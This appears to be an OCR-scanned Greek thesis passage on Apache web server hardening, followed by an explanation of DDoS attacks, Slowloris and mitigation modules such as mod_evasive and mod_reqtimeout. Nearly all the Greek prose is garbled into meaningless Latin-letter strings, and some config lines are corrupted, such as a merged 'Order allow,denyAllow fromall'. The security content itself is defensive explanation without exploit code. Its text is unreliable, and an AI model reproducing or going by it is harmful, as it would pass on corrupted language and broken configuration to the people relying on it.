Y10 mapandve configuration Oewpovpe 6Tt 0 root katdAoyog Ppicketar oto directory
example.com. Xt cvvéyewn kdvovpe gmavekkivnon tov Apache server pe ypniomn tg

TOPOKAT® EVIOANG:

sudo apachectl restart

ko PAémovpe 6t maipvovpe Forbidden error uivopa 6tov kolovue tov Apache server

pe mv 61evBuven Tov OTmg Paivetol Tap akdto [4]:

Forbidden

You don't have permission to access this resource.

1.14 Amevepyonoinon towv Symbolic Links tov Server
Amo mpoemloyn, o Apache akolovbel cupfoAiikodc cuvdéspovg 1 symbolic links
(symlinks). ITpoteiveton va amevepyomo100vToL Yio. AOyous ac@aAeiog Kot Yo, Vo Yivel
avtd mryaivoope oto Apache configuration file (path: /etc/httpd/conf/httpd.conf) kon
Bpiockovpe to section mov Eekwvael pe Directory /var/www/html xon Balovpe oto

Option directive to e&ng —FollowSymLinks 6mwg eoaivetat mopakdto [5]:

<Directory /var/www/html/>
Options -Indexes -FollowSymL.inks
AllowOverride None
Require all granted

</Directory>

¥ ovvéyela Kavovpe emovekkivnon tov Apache server pe ypnon g mopoakaTo
EVIOAMG:
14




sudo apachectl restart

1.15 Amevepyomoinon tov Server Side Include kot g extéleong tov
CGl
To Server Side Include (SSI) éxer o0 picko 6t awEdvel 0 POPTO GTOV SErver. Av
&yovpe éva dropopalopevo mepiPariov ko web applications peyding kivnong, tote
pio SSI emifeon emupénet to exploitation g web epappoyng ewodyovtog SCripts otig
HTML ce)lideg 1| ekteA®dVTOG omopokpuspévo owbaipeto kddka. Etot o emitiBépevoc
umopei vo mapel pocPacn oe gvaicOnmm TANpoPopion OTME apyeint KOOKOV Kot Vol

exteréoet shell evtorég [5].

lNo vo anevepyomowcovpe 10 SSI kobwg emiong ko v ektédeon tov CGI
anyaivovope oto Apache config file (path: /etc/httpd/conf/httpd.conf) kon Balovpe to

“-Includes” ka1 “-ExecCGI” oto Options directive 6nm¢ @aivetor Topakdato [4]:

<Directory /var/www/html/>
Options -Indexes -ExecCGI -Includes
Order allow,denyAllow fromall

</Directory>

Ymv zmepintowon mov €yovpe moilamAd Directory directives oto mepiffdAlov pog,
TPEMEL VL EPOPUOGOLLLE TO Tapardve configuration og oo
> ovvéyeln KAvouue emovekkivnon tov Apache server pe ypmon g mopokaTo

EVTOANG:

sudo apachectl restart

1.16 E&arerym aypnoiponointmv modules
Av éyovpe gykotactioel tov Apache Web Server pe to mpoemileyuéva configurations
TOV GULGTHUATOG, TOTE VLIAPYEL HEYOAN mOavOTHTO VO TPEYOLV TOALA oypeiocTa
modules. Oco 1o TOAAEG VINPEGIEG KoL AELTOLPYIKOTNTES VIGPYOLVV o€ Evav Web
server 1oco mbavdg vdpyovv gvkonpieg yo vav hacker va kdver exploit to diktvo

evog opyaviopov. 'Etot pa andn kon evkora mopofrepdeica BEATIOT TpakTiKn ivon
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Vo amevEPYOToMBovV 1 va KAEIGOLV OTOLAONTOTE LN YPNOYLOTOIOVUEVEG VINPEGIES,
nopTEG N Asttovpyucdmteg [1].

Mo mapdderypo vedpyovv 65.535 Swbéoueg nopteg yoo KGbe Server mov pmopei
TOAVOG VO YPNOYLOTOOEL Y1 VoL GEPPIPEL. TNV TPAYLLATIKOTNTO OUL®G O SEIVer Log
dev yperdleton OAec avTég TIG mOPTES ovoryTéG. OmodNmTOTE UN YPNOYLOTOOVUEVOL
modules 7N eocotepiés / ewtepikég moptec mpémer vo KAeicovv. T va
emPePoucdoovpe mowor modules tpéyovv otov Web Server, ypnolLOTOOVUE THV

TOPOKAT® EVIOAN:

grep LoadModule /etc/httpd/conf/httpd.conf

Io vo. amevepyonomoovpe kdmoo ovykekpyévo module apxei oto Apache config
file (path: /etc/httpd/conf/httpd.conf) va PBdlovpe pmrpootd 10 ‘# OM®G QoiveTon

TOPOKAT :

#LoadModule info_module modules/mod_info.so

#LoadModule userdir_module modules/mod_userdir.so

¥t ovvéyela KAvovue emovekkivinon tov Apache server pe ypnon g mopoakaTm

€VTOAMG kat Ta Toportdve modules éxovv amevepyomoinOei:

sudo apachectl restart

1.17 Etag

To Etag emitpénel otovg emmif€pevoug va amoktovy evoicOnm minpogopia Onwg Tov
inode apBpd, 0 6po tov multipart MIME kat tic diepyacieg madd pécm g
keparidag Etag. INa va amotpéyovue avt v evmdbeio, mnyoivoops oto Apache
config file (path: /etc/httpd/conf/httpd.conf) kou Balovpe to akdrovbo directive [4]:

FileETag None

¥ ovvéyela KAavovpe emovekkivnon tov Apache server pe ypnon g mopokaTo

EVTOANG:

sudo apachectl restart

16




1.18 [Mpootacia dikotmpdtov tov binary kot configuration
KOTOAOY OV
Amnd poemloyn, o dikoumdpara Yo tov binary kot configuration xatéAoyo givat 755,
T0 0moio omuaivel 6Tl 0mo0GdNTOTE YPNOTC otov Web server umopei va o€t o
configurations. T va punv emtpéyovpe v tpdoPacn o GAAO XpHoTH VO UTEL HECA
oToVv¢ PakéAovg confkar bin, uropodue va tpé&ovpe mv chmod mapakdtm evioln oc
&g [4]:

cd /etc/httpd/
sudo chmod -R 750 conf

sudo chmod 750 /usr/sbin/httpd

1.19 [Ipootacio pubpicewv cuotATOC
Y& WO TPOEMAEYUEVT] EYKOTACTACT, Ol XPNOTEC WTOPOVV va KGvovv OVerride to
apache configurations pe tnv xpfon tov .htaccess. Av 0élovue vo GTOUUOTICOVUE
TOVC YPNoteg and 10 va oAAdlovv Tic pvbuiceic Tov apache web server, tote

umopovpue va Parovue to AllowOverride oe None.

INo va yiver owtd mape oto Apache config file (path: /etc/httpd/conf/httpd.conf),

yéyvouue ywo. to Directory oo root eninedo kot 1o oALalovpe wg EXC [4]:

<Directory />
Options -Indexes
AllowOverride None

</Directory>

¥t ovvéyel KAvovue emovekkivinon tov Apache server pe ypnon g mopoakaTm

EVTOANG:

sudo apachectl restart
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1.20 [Ipootacia and Clickjacking enibeon
To Clickjacking eivan puo enibeon mov e€omotd tov ¥pNnoTn 610 va KAVEL KAIK 6€ éval
oToLYElD0 N0 10TOGEADOG TO OTTO10 £ivol 0OPOLTO 1) LETOUPIEGUEVO OG GALO GTOTYETO.
AvTtd pmopel vo TPOKAAEGEL GTOVG YPNOTEG 6TO KatéPaopo kamoov Malware dOeid
TOVG, OTNV EMOKEYN KATO10G KAKOBOVANG 16TOGEADAG, VO TOPEYEL SOMIGTELTIPN 1|
evaicOnteg TANpoPopieg 6TOVG EMTIOEUEVOVS, VO LETOPEPEL XPILLATO 1] VO 0yOPAGEL O

YPNOTNG GOELE TOL Khmo10 TPOidV amd o Internet.

Tomkd, to clickjacking mpaypoatonoitor pe v epedvion pog adpotng oeridog 1
evoc HTML ctoyeiov péca o éva iframe, mtéveo oty celida mov PAETEL 0 ¥PNOTNG.
O1 ypfoteg moteboLV OTL KAVOLV KAIK OtV opoty oeAda, OAAGL otV
TPOYLOTIKOTNTA 0VTOL EMAEYOVV €val aOPaTO GTOLYEID 0TV eMmPOGHET™ GEAIdQ TOV
UETAQEPONKE amd TAve amd v oeAida mov PAénel o ypnotmg. H adpotmn celida
pumopet va gtvor pio KakdPovAn cedida N o vopn ceiida v omoio o ypnotng dev
olatifeton va emoke@tel. o mopadetypa pio cedido oty celidoa ¢ tpameloc Tov

YPNOTN TOL EMTPETEL TNV UETAPOPE YpMudTV [8].

o vo anotpéyovpe v mopordve eniBeomn, anyaivovue oto Apache configuration
file (path: /etc/httpd/conf/httpd.conf) kar epdoov Pefaurwbodue 6Tt 10 mModule

mod_headers.so givat evepyomompévo, tote falovpe to mapaxdto directive [4]:

Header always append X-Frame-Options SAMEORIGIN

Y1 cLVEXEW KAVOLUE emavekKivnon tov Apache server pe ypfiom g mop oKaTm

EVTIOANG:

sudo apachectl restart

Amo ™V TapakdTo eikova PAEmovpe 0TL To Topamdve configuration yivetat apply pe

gmruyio:

¥ Response Headers view source
Connection: Keep-Alive
Content-Length: 2@3
Content-Type: text/html; charset=150-8859-1
Date: Sun, 18 Feb 2018 @8:35:17 GMT
Keep-Alive: timeout=5, max=18@
- Apache
X-Frame-Options: SAMEORIGIN

Ewkéva 7. Configuration yw. npootasia oo Clickjacking exifson
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121 [Ipootacio and XSS embécelg

Me tov 6po Cross-site Scripting | XSS avopepopacte o€ pio gumddeto acOrelog
oL emMTPENEL G€ £vov KAKOBOLAO ypnon vo gyyvoel kmdwkao JavaScript oe pia
10700eAMd0. Mg T oePpd TOL 0 KOOWKAS oTOHS, HOAIG O YPNOTNG EMYEPNOCEL VoL
emokePOel ™V ovykekpyévn otocelida, Oa ektedeotel otov browser tov yoti
Aertovpyel pe 1o avénuéva TPOvopLa, Kol ovTLETOTILETOL omd Tov browser g
éumoto mepleydpevo. Me awtdv tov TpoOmo, 0 emMTIOEPEVOS UTOPEL VO OTOKTNOEL
pocPacn og gvaicOnta dedopéva ¥pPNoTAOV, Vo VTOKAEYEL TNV GLVEDPID EVOG YPNOTY,
aAAG Kot Vo, 0o KTHGEL TPOoPact) o€ TAND0C TANPOPOPIHY oV amobnkevel o browser
Y10 xGp 1 TOL YPNGT.

O1 emmBépevol umopodv vo eKUETAAAELTOVV pio cross-site scripting gvmdOeia
TPOKEWEVOL VO TOPOK ALYovV EAEYYOLS TpdoPacng, dnwg to Same-Origin Policy. O
OVTIKTUTTOC TOV €V AOY® €MOECEMV TOWKIAAEL omd HIKPEC OAAOYEC TTOV EVOEYOUEVMG
emmpedlovv Vv gumepia evog xpnot, HEXPL LeYdAng eppéretag Cneég, avaroyo pe
™mv evaucOnoia tov dedopévav mov yepiletor 0 VOAMTOG 16TOTONOG, OAAGL Kol TG
TPooTAEIES UETPIOOTS TOV OPVITIK®OV GuveERE®V [9].

Ene1dn n acedretn, XSS pnopei vo mpoomepaotel and moAlodg browsers, pmopodpe
Vo €QapuocovpEe ™V ac@diew o pioe Web epoppoyr oxopa kot ov givon
amevepyomomuévn and tov xpnotn. Avtd ypnoylonoleitor and mv mAsoYneio TV
yyoavtoiov Web etapidv onmg to Facebook, Twitter, Google k.o. o va yiver awto
nanyaivoope oto Apache configuration file (path: /etc/httpd/conf/httpd.conf) ko

BaCovpue to mapakatw Header directive [4], [5]:

<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
</IfModule>

¥t ovvéyeln KAvovue emovekkivinon tov Apache server pe ypnon g mopoakaTm

EVTOANG:

sudo apachectl restart

Av petd avoiovpe 1o m.y Firefox browser ko emickeprovpe 1o link tov Apache
server, uropovue va ehéyEovue tovg HTTP response headers pe to Firebug kot Oa.
dovpe 6T to XSS-Protection £yet yiver inject otov header tng andvinong tov server

ko to mode tov eivar blocker 6nmwg paivetat kot otV TopokdTo gova [5]:
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¥ Response Headers view source
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: &
Content-Type: text/html
Date: Sun, 18 Feb 20818 @8:42:18 GMT
Keep-Alive: timeout=53, max=1880
Last-Modified: Sun, 18 Feb 2018 @8:42:13 GMT
Server; Apache
X-Frame-Options: SAMEORIGIN

| X-X55-Protection: 1; mode=block |

Ewkéva 8. Configuration yw. mpootacia oné XSS embicag

1.22 Opiopog Cookie pe HttpOnly kou Secure flag
MmopolOue Vo, GTAUOTACOVLLE TIG TEPLOGOTEPEG Omd TS YVwoTtég emféoelg Cross Site
Scripting ypnoomowwvtag to HttpOnly xou Secure flag oto cookie. Xwpig va £yovpe
1o HttpOnly xar Secure flags (ko ympic va éxovue epapudoel to XSS-Protection
OMOC TOPOVCIAGTNKE GTNV  TPOMYOOUEV TOpaypa@o) &ivar mbavd kdmolog
emmBépuevoc vo kKAEyel 1 va xepiotel to web application session kot cookies tov

xpHom.

INa va anoeevybei avtd mnyoivooue oto Apache configuration file (path:

letc/httpd/conf/httpd.conf) kon Balovpe to mapakdatw Header directive [4]:

<IfModule mod_headers.c>
Header edit Set-Cookie ~(.*)$ $1;HttpOnly;Secure
</IfModule>

¥ ovvéyeln KAvovue emovekkivinon tov Apache server pe ypmon g mopoakaTo

EVIOAG:

sudo apachectl restart

1.23 Evepyomnoinon tov Rule Engine
Ao mpoemiloyn Katd v eykordo oo tov Apache web server, to Rule Engine givon

anevepyomompévo. Avtd onuaivel 6tL av dEV TO EVEPYOTOWCOVLLE, OEV UTOPOVLLE VO

eKUETOALEVTOVIE OAOL TOL TAEOVEKTNLATO, IOV TTPpocPépel o Mod Security (6mwg Oa

TEPLYPAYOVUE GE ETOUEVT TOPAYPAPO ).
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H evepyomoinom 1 m oamevepyomoinon tov Rule Engine eléyyetoar omd 10
SecRuleEngine directive. T'ia va 10 evepyomomoovue, mnyaivovpe oto Apache config
file (path: /etc/httpd/conf/httpd.conf) kot Balovpe o mapaxdrw directive [4]:

SecRuleEngine On

2t ovvéyeln KAvovue emovekkivinon tov Apache server pe ypmon g mopoakaTm

EVTOANC!

sudo apachectl restart

1.24 Configure Listen

Otav égovue moAld interfaces kot IPS og évav web server, cuvictatol va £OVUE TO
Listen directive pvOuiouévo pe amdivt IP kot toprta.

Av apnoovpe to Apache configuration va axovel og olec tig IPS pe kdmolo mopra,
10T pmopel va dnpovpynoel TpoPAnua oty mpowdnon evog HTTP request oe
Kdmowov GAA0 Server. Avtod ivat ToAd cuyvo cg £va dpopalopevo TepPOALOV.

INo va pvBuicovpe tov Apache web server va akovel oe uoévo o IP ko wopta,
nnyaivoope oto Apache configuration file (path: /etc/httpd/conf/httpd.conf) ko

BaCovpue oto Listen directive yio mapaderypa to woapokdto [4]:

Listen 10.10.10.1:80

¥ ovvéyeln KAavovpe emovekkivnon tov Apache server pe ypnon g mopoakaTo

EVTOAG!

sudo apachectl restart

1.25 [Teprodudg Eheyyog Yo emdtopldoELg
To tedevtaio, 0ALL ciyovpa Oyl Aydtepo SNUOVTIKO givor 0 TEPLOSKOG EAEYYOS Yol
emdopbmoeig (patches). Tpénet va eAéyyovpe ouyva yo updates ko yo patches otov
server. Avto dev mpémetl va eivol amAmg o e@ama Asttovpyio LETE TNV EYKOTAGTAON
[1]. 210 Centos umopodue va eykatactoovue ta tedevtoio patches kot fixes pe

YPNOM TG TOPAKAT® EVIOANG:

sudo yum update
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Duowd 10 TapaTave o€ Evov opyaviopd Ba Tpémel va YiveTon 6€ GUVEVVONGT LE TV
VTOSOUN KO TOVG OOYEPIGTES TNG Ol OTOT0L EIVOIl EKTOOEVLEVOL VAL EKTEAOVV TETOLEG

dwdooieg patching.
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2 Embéceig DD0S

Muw emibeon DDoS (Distributed Denial-of-Service) copfaiver détav évog ydxep
oTtélvel peydin kivnon og éva diktoo 1 €éva. Web Server Tpokeévov va Guvipiyet To
cVoTNUO KOl Vo OtoTapdEel TNV 1KavOTTE TOV Vo Agtovpynoel. AvTtég ol emBEELS
¥PNooToovVTOL GLVNOMG Yo va piEOVV TPOCWPIVA EVaV IGTOTOTO 1) O EPAPLOYN
Kol UTOpovV vo SpKEGOVV UEPIKEG MUEPES KADE QOPA 1 aKOUTN Kol TEPIGCOTEPO

[14].

Attacker g

Controller

N

N

-

—
WEB

Zombies
Victim

Ewéva 9. Ontwonoinemn DD0S emifeong

Xpnopomotovpe tov 6po Denial-0f-Service engidn o 1616T0m0OG 1 0 S1OKOUIGTNG OEV
Ba etvon e B€om va e&ummpemoetl vOLN KuKAoQopia Katd T d1dpKel ™S emiBeonc.
Ko tov 6po Distributed Denial-of-Service enedn n mopdvoun kivnon npoépyetor amd
EKOTOVTAOES, YMbdeg M okOpo Kot eKOTOppvpo. GAAwv vroloyiotdv. Otav
TpoEpyeTaL omd o Lovo Tyn, etvon yvoot| g enibeon DoS.

Ot emBéoeic DDoS ypnoylonoodv €va botnet pior GLALOYY TOAADY VTOAOYIGTOV 1)
oLoKELOV pe dvvartdmra mpocPacng oto Internet mov €yovv katoAneBel €f
OmOCTACE®MG He YPNoT KakOBovAov Aoyiopikoh mov Eekwvd tnv emibeorn. Avtd

Aéyovron “Coumt”.
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2.1 Eidn DDoS emBécewv

Yrdpyovv tpia €idn DDoS embécewv:

Application-layer DDoS attack: Ot emféoeig oe eninedo epappoync sivou n
amlovotepn popen emifeon DDoS mov pupeitonr o KOVOVIKG OLTMLOTOL
olokopiot). Me dAAo A0y, Ol LTOAOYIGTEG M| Ol GLOKEVLEC GTO botnet
cvvovdlovtar yio vo Exovv TpoOcPacn GTov €ELANPETNTH 1| GTOV 1GTOTOTMO,
Omm¢ axpPmc Ba Exave £vog Kavovikog ypnotne.

Opwg, kabdg n emiBeon DDoS KMUOKOVETOL, O OYKOG TOV (QOLVOUEVIKE
VOLUOV outpdtov yivetor vTepPoAlkd LeYOAOC Yo Vo TOV OlXEPIOTEL O
Ol0KOUIGTNG, O 000G TEAIKA “Kpacdpel”.

Protocol DDoS attack: Mo enifeon mpotokdAhov ekpeToAdedeTon TOV TPOTO
pe tov omoio ot dlokopioTteG emeEepyalovrar OEdOUEVO TPOKEUEVOL VL
eMPapHVOLV KOl VO VTEPPOPTOTOVY TOV GTOYO.

Ye oplopéveg mapaArayis TV emBécemv TPMTOKOALOL, TO botnet Oa oteilel
mokéto. dedopévev Yoo vo cuvoppoiloynfodv amd Tov SKOUIOTH. XM
GLVEYELN 0 OLKOGTNG TEPIEVEL va AaPet o emBePainomn and ) dievbovvon
IP mpoérevong, v omoia dev AapPavel moté. 261660, cuveyilel va AapPavet
OL0 Ko TEPIOGHTEPO OEOOUEVA Y10, VO OTTOCVOKEVAGEL.

e dAleg moporAayEs, OmOOTEALEL TOKETA OESOUEVOV TOV OTAG dEV UTOPOVV
VO ETAVOGLVAPLOA0YNO0VV, YEYOVHS OV TNV TPOSTADELD TOV KOATOVUAMVEL
ONUOVTIKO HEPOG TV TOPMV TOV JOKOUITTN.

Volume-based DDoS attack: Ot oykopetpikég embéoeig eivon mopopoteg e
TG emMBECE EPAPUOYDV, OALG LE o Opopd. Xe oVT TN Hopen emifeong
DDoS, 1o dwbéoyo g0pog Ldvng vOG OAOKANPOL SLOKOUIGTH KOTOVOADVETOL
a7ro To. oLTOTO TOV botnet wov £yovv evioyvBei pe kdmolo TpoTO.

o mopdderypa, too botnet umopodv pepkés @opég va ££omaTnGOVY TOLG
OlKOHIOTEG (DOTE Vo oTeilovy o1 10101 TepAoTIO TOGE dedopévmv. Avtd
onuoivel 0Tt 0 OdloKOWOTAG TWPEmMEL vao.  emefepyoctel ™ ANYM,

GLVOPLOAOYNGT], TNV OITOC TOAN KoL T ANYN TOV dE00UEVOV €K VEOV.
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2.2 EmiBeon Slowloris DDoS

H enifeon Slowloris eivar éva €idog emiBeong dpymong mapoyng vanpesidv (DoS) n
Omoi0, EMTPENEL GE [0 oA v vo. pi&et Tov Web server GALov VTOAOYIoTH UE TO
eldyoto bandwidth kot dnuiovpydvtog mapevépyeleg o€ VINPEGIES KoL TOPTEC.

To Slowloris npoomafel va kpoatd moAld connections avorytd otov Web server otoyo
KoL VoL TOL KpOTd avotyTtd 660 T0 duvatd TeplosOTtePo. To meTvyaivel aVTO avoiyovTog
connections otov Web Server 6toyo Kot 6TEAVOVTAG HEPIKMG OAOKANpmuUEVa requests.
[leprodwd otédver tig emdpeveg HTTP kepaAideg un oloxAnpopéves péoo oto
request. Ou emmpeocuévol servers Bo kpatdve ovtd To connections avouytd,
yepiCovtag €11 Tov péytoto aplpd towtdypovemv connections mov pmopei va deytel o
Server kot TeEAKQ o Server otn ovvéyeln vo, apveitol vo mapéyel to emmpdcheta
connections and tovg clients.

To npodypaupo ovopdotnke £1ot omd to opya lories mov givor pio opdado wiOKov wov

glvo yvootd yio TG apyéc Kivioelg toug [15].

Normal HTTP Request - Response Connection

Slowloris DDoS Attack

Y

Complete HTTP Incomplete
Request - Response Cycle HTTP Requests

Ewkove 10. Ontkonoinon Slowloris DDoS emifeong
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2.3 Zemolovg Web Servers emidpa n enibeon Slowloris

To mopoxdto mepiapufdvel aAld dev meplopiletar povo otovg akdiovbovg web

Servers:

e Apache 1.x kot 2.X

e dhttpd

e Websense "block pages" (un emPeforopévo)

e Trapeze Wireless Web Portal (un emifeBoiwpévo)

e Verizon's MI424-WR FI10S Cable modem (un emiBefaiwpévo)

e Verizon's Motorola Set-top box (port 8082 ka1 amontei awbeviikomoinon - un
emPePouwpévo)

e BeeWare WAF (un enBeforopévo)

e Deny All WAF (patched)

e Flask (development server)

Enedn 1o Slowloris expetoAleveton 10 mpoPANLA YEPIGUOD YMASOV GLVIECEDV, N
emifeon €xel LkpdTtepN eMidpoom o€ Servers wov yepilovron kaAd peydrlo apOpod and
ovvdéaelg. Proxy servers kat emtoyvviég mpoocwpvng amobrkevong (caching) émwmg
to Varnish, nginx kot Squid mpoteivovion 6to vo petpidovv owtd 1o €i60g ™G
enifeonc. EmmpocBétmg, cvykexpévor Servers givon mowo avlektikol 6 avtnv TNV
emifeon oamd oyedopov, ot omoiot eivon: Hiawatha, 1S, lighttpd, Cherokee, and
Cisco CSS [15].

2.4 Tlwg doviever n| enifeon Slowloris

To Slowloris givon pia eniBeon emmédov Qoproyng n onoio Aertovpyei pe Ty xpHon
pepik®v odokAnpopévov outnpdtov HTTP. H eniBeon Aerrovpyel pe 1o va avoiyet
connections oe évav web server otdyo kon petd vo To KpoTdel avorytd OGO TO
dLVVATOV TEPIOGATEPO UTOPEL.

To Slowloris dev egivar pto xotnyopia emibeong, oAAG avtifeto eivon éva
ovyKekpuévo epyareio enifeong 1o omoio dnpovpyndnke o 2009 amd tov RSnake,
kot emétpene and 1 pdvo vroroyiot) va pigel Tov Server pe moAL yaunid bandwidth.
Ye ovtifeon pe tg embéoeig DDOS mov Poacifovion oty avtoavdkiaon DDoS
emBécemv omwg v NTP emibeon (NTP amplification DDoS attack), ovtod tov

gidovg n emiBeon ypnoonolel younAd tococtd evpovg {dVNG Kot avtifeTa oToYEvEL
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ot xpNomn mOpwvV TOL Server pe requests ta omoio @aivovtor molo apyd omd T
ocvvnOopéva oAAG LILOVVTOL TNV KOVOVIKY] Kivnor. Avto TEQTEL 6TV KaTyopio TV
emBécemV OV tval YV OTEG Gav eMBESELS «opUnAES Kot apyég». O server otdyog Oa
éxel ovykekpévo apiBpd and Swbéowo threads yio vo yeiptotel TOWTOYPOVES
ovvdéoels. Kabe server thread 6a mpoomabei va peivel oviovo evd mepyévet va yio
10 Slow request va ohokAnpwOei, To onoio moté dev cupPaivel. Otav ctov Server
Eemepaotel 0 péylotog dvvardg aplBuog amd connections, tote kabe emupdobeto
connection dev Ba amavtdror kot owtd Ba Exel mg amotéleoua va cuuPei Gpvnon
napoync vanpeciog [20]. Avtd expetoAleveton thv gumdbelor mov Eyovv ot thread-
based web servers ot oroiot mepipévovy va AdPovv tovg TAnpeig HTTP headers mpw
OOJEGLEVGOVY TNV VOl T cVVIEST. Mo wapoAiaynq avtig g gvmdbeng eivon n
evnddeio slow HTTP POST. Znyv enibeon slow HTTP POST, o emmibépuevog opilet
éva 0pkeTd peydlo mocd amd dedopéva yuo va oteirel og éva HTTP POST request kot
TOTE T0L GTEAVEL TOAL 0pyd [16].

M avdivon tov HTTP GET request Bonfdet mepiocodteEPO 6TO TG KoL YLOTL o
apyn HTTP DoS eniBeon etvon dvvam. ‘Eva minpeg HTTP GET request powdlet pe to

okoA0L00:

GET /index.php HTTP/1.1[CRLF]
Pragma: no-cache[CRLF]
Cache-Control: no-cache[CRLF]
Host: testphp.vulnweb.com[CRLF]
Connection: Keep-alive[CRLF]
Accept-Encoding: gzip,deflate][ CRLF]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36[CRLF]
Accept: */*[CRLF][CRLF]

To CRLF (Carriage Return + Line Feed) ivat pia okodovbio amd pn-eKtondoong
YOPAKTNPES Ol OTOI0L YPNGYLOTOOVVTAL Y10 va deiEovv o TéAog ™ yYpopuns. Opowa
LE TOVG oLVTOKTEG Keyévov, Eva HTTP request ypnowomnotei o [CRLF] oto téhog
™G ypouung yw va Eekwvnoet pa véa ypauun ko dvo [CRLF] ot cepd v va
oniwoel o kevr ypapun. To HTTP mpwtéxorlio opilel pia kevi ypopun o¢ tov
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TEPUATIONO NG KePOAidac. Mia enifeomn tomov slow HTTP DoS to expetoAleveton
aVTO UM GTEAVOVTOG TOTE TV YPOUUTN TEPLOATICLOV Yo TV oAoKANpwon tov HTTP
header.

Evéd pepwoi thread-based servers omwg o Apache ypnowomotei éva timeout 6tov
mepével Yoo un odokAnpopéva HTTP requests, opileton e 300 devtepodrenta and
npoemhoyn kou yivetal reset poAig o client oteilel Ta veorowro dedopéva.

Télog m emifeon slow HTTP DoS dev yivetar oviinmt) omd To CLGTAUOTO
aviyvevong ewoPoiig (Intrusion Detection Systems - IDS) yori dev mepiéyst

havBoouéva requests. To HTTP request 6 a pavei vopwo oto IDS [16].

24.1 Brpata enibeong Slowloris

Mapakdro mTeptypapeton mwg mpaypotonoteitat pio slowloris enibeon oe 4 Prpotoa:

1) O emmBépevog mpmdTa avoiyel ToAAamAd connections ctov Web server otoyo
OTEAVOVTAG TOL TOAAOTAG pepik®dg oAokAnpmuéva HTTP request headers.

2) O server otoy0¢ avoiyel éva thread yio kaOe eicepyduevo request, pe okomo vo
Kieloger 1o thread polig m obvdeon olokAnpwbei. T vo givar molo
OTOTEAECLOTIKO, OV L0 GUVOEST S10PKEGEL TOAD MPa, O Server Bo teppotiost
(timeout) tnv vrepPoiikd ueydin ovvdeon, ekevbepdvovtog to thread yio to
enduevo request.

3) T va amotpéyet Tov Server otdoyo omd o vo Kavet timeout ota connections,
TEPLOOIKA OTEAVEL PEPIKMG OAOKANpoUEVL request headers otov 6tdyo Yo va
Kkpatdel to request Covtovo. Eivor cav va tov Aéet 0t «Eipon axopo 60!
ATAG glpon apyog, mepipeve ey

4) O server otdyog dev umopei moté vo omelevfEPOOEL 0MO0ONTOTE Al TIG
OVOLYTEC UEPIKMDG OLOKANPOUEVEC CUVOECELS EVD TEPIUEVEL TOV TEPUATIGUO
Tov request. Otav 6Aa ta dwbéoyio threads eivon e ypnom, o server Ba eivan
TAEOV aOVVATOV VO OTaVTNOEL 0€ EMUPOcOeTOL requests ta omoia mpoépyovron
amd TNV KOVOVIKY] KUKAOQOpPlo, Kot ovtd £XEl G OMOTEAECUO TNV GPVNOT|

TOPOYNG VANPEGTNS.

To khewdi wicw oamd to Slowloris gival n wavomTa va pokariécel TpoOPANUO GTOV

web server pe modd pikpd evpog {dvng [20].
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2.5 Tlwg nepropileton | enibeon Slowloris

I'a tovg Web servers mov givan evdlmtotl otny emiBeon Slowloris, vrdpyovv tpdémot va

TEPLOPIoTEL pePKn omd Vv enidpacn. Ot emMA0YEC Yol TOV TEPLOPIGUO TG EMIOPOONG

tov Slowloris e evdlmtovg Servers uTopovV va Y®PIGTOLY GE 3 YEVIKEG KOTNYOPIES

[20]:

1)

2)

3)

A¥Enon o BeopotnTag Tov server: H avénon tov péyiotov apBuod twv
TELOTMOV TTOL O SEIVer emtpénel avé Taco oTyUn, 6o avénoet Tov apBpd Twv
OLVOECEMV OV TPEMEL VO KOAVEL O EMTIDEUEVOG TPOTOL UTOPECEL VOl
VIEPPOPTMCEL TOV SErVer. Ty TpayratikdOTTa, £vog emTfENevog 160G Kavel
KMudkoon tov  oplfpod tov embécedv TOv Yo v EEMEPACEL TNV
yopnrkdTnTo (capacity) aveEapmto and g awénoels.

Opwopog opiov oto ewoepydpeva requests: To va mepropileton n mpdcPaon
pe PBaon ovykekpyévov mopaydviov xpnons 0o fondnoetl va meplopiotel 1
Slowloris enifeomn. Teyvikéc Omwg meplopiopds o610 UEYIOTO OpOUd TOV
ocvvoéoemv mov o oA IP S1ehBvvon umopel va kdvel, meplopiopog oTig
apYEC TOYVTNTEG UETOPOPAS, Kol TeEPLopilovTog ToV HEYIOTO YPOVO Tov £Vag
neddmg (client) emtpéneton vo pével cuvdedepévog ivor OAeC TPOGEYYIGELS
Y10 TEPLOPIC O TNG OTTOTEAEC LOTIKOTNTOG TOV YOUNADV Kol 0pYDV ETOEGEMV.
IIpootacio vworoyoTikov vé@ovg: To va ypnoipomondel por vanpecio
VEQPOVC OV UTOPEL Vo AEITOLPYNOCEL OV Evag FeVErse proxy, mpocToTEVETOL

€101 0 Ao OKPVOUEVOC WeD Server.

Ye évav Apache web server, pmopodv va ypnoyorombodv Evag pueyarog aptOpdc ard

modules ta omoia pTopovV Vo HEWDGOVV TV KOTAGTPOPN TTOV umopel va. TpokAnOel

and pa eniBeon Slowloris. Ipoteivovton to mapaxdto modules mg péso peimong g

mOavoTTag emitvyobe enibeong Slowloris:

mod_ limitipconn
mod_qos
mod_evasive
mod security
mod_noloris

mod_antiloris
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Amo to Apache 2.2.15, n Apache xvkhopopei to module mod_reqtimeout og v
emionun AVom mov vroopileton amd TOLG TPOYPULUULATICTEG.

AMeg TEYVIKEG TEPLOPIGHOL TEPAOUPAVOLY TNV EYKOTACTACGT [FEVerse proxies,
firewalls, load balancers 1 content switches. Ot dwyeipiotéc B pmopovoay emicng va

alla&ovv tov emnpealdpevo web server ce Aoylopikd to omoio gival avenmnpEocTo

amd oVTNG ™S LopeNS emiBeong.

2.6 Xprion Mod_Evasive yia auova gvavtiov DDoS eniféocemv

Ytov Apache web server, to mod_evasive module Bon0d tov server va pévet gvepyodg
™mv ®pa mov AauPaver yopo pwo eniBeon. ‘Evog kowdg tdmog emiBeong otov
KuPepvoympo Epxeton pe v popen g Apvnong Iapoync Yanpeowwv (Denial of
Service - DoS), ¢ Kataveunuévn Apvnon Iapoyrc Yanpeoiog (Distributed Denial
of Service - DDoS) 1} g oung dvvaung (brute-force) mov tpoonabei vo KoTakAHGEL
™V 0@ AIAELY TOV SErver.

H ovon avtdv tov embBécemv eivar va ypnoylonoodvtor ToAlol S1opopeTikol
VTOAOYIGTEC Ol 0moiol KAvouv emavaAapupfavopeva requests otov web server pac.
